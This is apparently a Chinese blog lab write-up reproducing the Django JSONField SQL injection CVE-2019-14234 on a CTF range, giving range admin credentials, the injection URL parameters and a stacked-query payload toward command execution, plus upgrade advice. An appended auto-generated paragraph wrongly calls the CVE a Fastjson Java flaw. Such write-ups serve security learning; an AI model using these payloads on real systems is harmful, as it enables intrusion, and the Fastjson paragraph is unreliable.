【WEB攻防】【CVE-2019-14234】Django JSONField SQL注入 复现

中华人民共和国网络安全法(出版物)_360百科中华人民共和国网络安全法,《中华人民共和国网络安全法》是为保障网络安全,维护网络空间主权和国家安全、社会公共利益,保护公民、法人和其他组织的合法权益,促进经济社会信息化健康发展而制定的法律。《中华人民共和国网络安全法》由中华人民共和国第十二届全国人民代表大会常务委员会第二十四次会议于2016年11月7日通过,自2017年6月1日起施行。https://baike.so.com/doc/24210940-24838928.html

目录

知识简介

过程

查找注入

命令执行(getshell)

防御方法


知识简介

  • Django是一个开放源代码的Web应用框架,由Python写成。采用了MTV的框架模式,即模型M,视图V和模版T。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。

  • PostgreSQL是一个自由的对象-关系数据库服务器(数据库管理系统),Django一般PostgreSQL共同使用

  • 在Django中支持Postgresql的数据类型:JSONField、HStoreField、ArrayField

  • 该漏洞出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接,通过JSONField类获得KeyTransform类并生成sql语句的位置,因此可以进行SQL注入
     

过程

进入漏洞环境环境(在线靶场)

BMZCTF

查找注入

账户名为:admin
密码为:a123123123     (密码是后台设置的,因为环境不是我们搭的,但这个密码我看教程是这样固定的)

进入管理员后台

 点击Collections

 输入

url改为 ....../admin/vuln/collection/?detail__a'b=123

测试是否存在注入(加个单引号报错)

报错,这时后端执行的语句为

Collection.objects.filter(**dict("detail__a'b": '123')).all()

命令执行(getshell)

.......admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

这里已经执行了,只不过是没有这个文件。

防御方法

更新到最新版本,设置强密码,因为必须要登陆到管理员界面。


参考链接(详细学习的可以点这里)

CVE-2019-14234 Django JSONField SQL注入漏洞复现_m0_48520508的博客-CSDN博客

Django JSONField SQL注入漏洞(CVE-2019-14234)分析与影响 | 离别歌



作者水平有限,有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2019-14234是指vulhub靶场中的一个漏洞。这个漏洞是由于vulhub中的一个名为Fastjson的组件的安全缺陷引起的。Fastjson是一种广泛使用的Java JSON库,用于在Java应用程序中进行JSON转换。然而,Fastjson在处理特殊构造的JSON字符串时存在漏洞,攻击者可以利用这个漏洞执行任意的Java代码。 在CVE-2019-14234中,攻击者可以通过构造特定的JSON字符串并发送给受影响的应用程序来利用该漏洞。当应用程序使用Fastjson解析并处理该字符串时,恶意的Java代码将被执行。攻击者可以利用这个漏洞来执行远程代码,从而导致敏感信息泄露、服务器被入侵等危害。 为了防止CVE-2019-14234的攻击,可以采取多种措施。首先,更新vulhub中的Fastjson组件到最新版本,以获得最新的安全修复。其次,在编码和处理JSON数据时,应谨慎处理不受信任的输入。可以使用输入验证和过滤来确保传入的数据是符合预期的,并且不包含恶意的代码。 此外,安全审计和漏洞扫描工具也可以用于检测和修复CVE-2019-14234漏洞。通过定期扫描应用程序,可以及时发现和修复潜在的安全问题。最后,加强网络安全意识教育,提高开发人员和用户对网络安全的认识和理解,从而进一步提高防范和应对漏洞攻击的能力。 综上所述,CVE-2019-14234是vulhub靶场中的一个Fastjson组件漏洞,可以被攻击者利用来执行任意的Java代码。修复这个漏洞的方法包括更新Fastjson组件、输入验证和过滤、安全审计和漏洞扫描以及加强网络安全意识教育。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值